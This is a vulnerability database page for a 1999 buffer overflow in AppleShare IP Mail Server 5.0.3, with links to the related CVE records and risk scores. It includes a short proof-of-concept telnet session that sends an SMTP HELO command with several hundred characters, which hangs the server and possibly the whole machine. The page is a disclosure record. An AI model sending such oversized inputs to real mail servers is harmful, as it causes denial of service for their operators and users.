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AppleShare IP Mail Server 5.0.3 - Buffer Overflow

🗓️ 15 Oct 1999 00:00:00Reported by Chris WedgwoodType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 25 Views

Buffer overflow in AppleShare IP Mail Server 5.0.3 crashes server via large HELO command.

Related
Code
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Multiple MTA HELO Command Remote Overflow
18 Aug 199900:00
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cve
CVE
CVE-1999-1015
12 Sep 200104:00
cve
cvelist
Cvelist
CVE-1999-1015
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cvelist
euvd
EUVD
EUVD-1999-0996
7 Oct 202500:30
euvd
nvd
NVD
CVE-1999-1015
8 Apr 199804:00
nvd
source: https://www.securityfocus.com/bid/61/info

There exists a buffer overflow in the Apple AppleShare IP Mail Server 5.0.3. If yu connect to the SMTP port
and issue a HELO command with a large string (500 bytes or more) for a hostname the server, and possibly the whole machine, will crash.

$ telnet some.where
Trying 1.2.3.4...
Connected to some.where.
Escape character is '^]'.
220 some.where AppleShare IP Mail Server 5.0.3 SMTP Server Ready
HELO XXXXXXXXXXX[....several hundered of these....]XXXXXXXX
[ and it just hangs ]

$ ping some.where
[ ...nothing... ]

Data

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02 Jan 2014 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.0594
25